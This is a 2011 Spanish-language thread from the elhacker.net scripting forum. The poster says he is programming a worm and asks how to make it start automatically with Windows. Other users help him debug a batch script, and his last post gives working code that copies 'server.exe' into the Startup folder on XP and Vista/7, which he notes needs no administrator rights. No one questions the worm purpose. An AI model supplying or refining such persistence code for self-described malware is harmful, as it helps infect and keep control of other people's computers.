Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: roilivethelife en 2 Noviembre 2011, 20:43 pm



Título: Pequeña duda en batch [solucionado!!!!] :D
Publicado por: roilivethelife en 2 Noviembre 2011, 20:43 pm
Hola!
Estoy programando un worm, pero me falla una parte vital, que es la de autoarranque con windows.
Tengo este codigo pero me da "error de sintaxis"
Código:
@echo off
REM esta carpeta vale si es windows xp solo
copy /Y server.exe %homedrive%\Documents and Settings\%username%\Menú inicio\Programas\Inicio
(Hay un archivo llamado server.exe donde se ejecuta el bat y la carpeta a donde quiero copiar existe)

y otra preguntita si no es mucho pedir:
como hacer desde batch, saber si un sistema es windows xp o vista/7

gracias!


Título: Re: Pequeña duda en batch
Publicado por: $Edu$ en 2 Noviembre 2011, 21:04 pm
Para que arranque desde windows, busca en google como agregar una entrada en el registro de windows para inciar con windows desde batch.

Y porque usas 2 variables de entorno pudiendo usar %userprofile%


Título: Re: Pequeña duda en batch
Publicado por: 2Fac3R en 3 Noviembre 2011, 01:09 am
Como te dicen, es incorrecto usar 2 variables de entorno.

http://www.google.com.mx/search?aq=f&gcx=w&sourceid=chrome&ie=UTF-8&q=iniciar+programa+con+windows

Zalu2


Título: Re: Pequeña duda en batch
Publicado por: Eleкtro en 3 Noviembre 2011, 01:40 am
Lo que nadie te ha dicho es que aunque uses solamente %Userprofile% ese código te va a seguir dando error...

1º - Usa comillas dobles en nombres con espacios.

2º - Usa el nombre "real" en inglés, el mismo que sale al abrir la consola.

3º - Leete un manual básico...

Código
  1. copy /Y "server.exe" "%homedrive%\Documents and Settings\%username%\Start menu\Programs\Start\"

Para saber que windows usa, es tan fácil como esto:

Código
  1. systeminfo | find "Nombre del sistema"

Saludos.


Título: Re: Pequeña duda en batch
Publicado por: roilivethelife en 3 Noviembre 2011, 16:10 pm
Citar
Para que arranque desde windows, busca en google como agregar una entrada en el registro de windows para inciar con windows desde batch
No quiero añadir nada al registro porque necesitas privilegios. De mi manera funcionaría en cualquier ordenador, bastaria con saber si es xp o w7 y copiar el programa a la carpeta de inicio.

Citar
Y porque usas 2 variables de entorno pudiendo usar %userprofile%
porque estaba desesperado probando de todas formas posibles y no me iba


Citar
1º - Usa comillas dobles en nombres con espacios.
ok

Citar
2º - Usa el nombre "real" en inglés, el mismo que sale al abrir la consola.
en la consola aparece esto TAL CUAL cuando estoy en la carpeta
Código:
C:\Documents and Settings\nombreusuario\Menú Inicio\Programas\Inicio>

Citar
Código

copy /Y "server.exe" "%homedrive%\Documents and Settings\%username%\Start menu\Programs\Start\"

me dá error de ruta especificada no hallada...
Tambien probé con el nombre en español y me da el mismo error, creo que es fallo de la tilde.
alguna solucion?

si kereis probarlo en w7 la carpeta es
“%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu"

gracias!


Título: Re: Pequeña duda en batch
Publicado por: Eleкtro en 3 Noviembre 2011, 16:46 pm
el problema es que no tengo delante XP xDDD, en win7 sale la ruta del cmd en inglés xD

De todas formas el código tiene que ir por cojones, lo que no se es si habré puesto la ruta mal, pero ¿Estás seguro de que existe la carpeta "START"?

Código
  1. @echo off
  2. mkdir "%userprofile%\Start menu\Programs\Start\"
  3. copy /Y "server.exe" "%userprofile%\Start menu\Programs\Start\"

PD: no se si habré puesto la ruta como es, no tengo el xp aqui.

Saludos.


Título: Re: Pequeña duda en batch
Publicado por: roilivethelife en 3 Noviembre 2011, 20:57 pm
el problema es que no tengo delante XP xDDD, en win7 sale la ruta del cmd en inglés xD

De todas formas el código tiene que ir por cojones, lo que no se es si habré puesto la ruta mal, pero ¿Estás seguro de que existe la carpeta "START"?

Código
  1. @echo off
  2. mkdir "%userprofile%\Start menu\Programs\Start\"
  3. copy /Y "server.exe" "%userprofile%\Start menu\Programs\Start\"

PD: no se si habré puesto la ruta como es, no tengo el xp aqui.

Saludos.

Ya he encontrado el fallo, por cierto, he probado tu código y me crea las carpetas en ingles xD
El problema está en el uso de la tilde, he mirado en este post: http://foro.elhacker.net/scripting/acentos_en_un_bat-t174987.0.html

Basicamente lo que dice es que usemos el editor de ms-dos ejecutando "edit"

Pones las tildes, guardas y perfecto!
Ya lo he solucionado, funciona 100%
Mi codigo de inicio automatico sin tener privilegios administrativo:
Código:
@echo off
REM Comprobando si es xp...
IF EXIST "%userprofile%\Men£ Inicio\Programas\Inicio\" copy /Y "server.exe" "%userprofile%\Men£ Inicio\Programas\Inicio\"

REM Comprobando si es vista o w7
IF EXIST "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" copy /Y "server.exe" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
Pause
Le añadiré alguna mejora pero por el momento me sirve de sobra.

GRacias a todos por responder, especialmete a EleKtro H@cker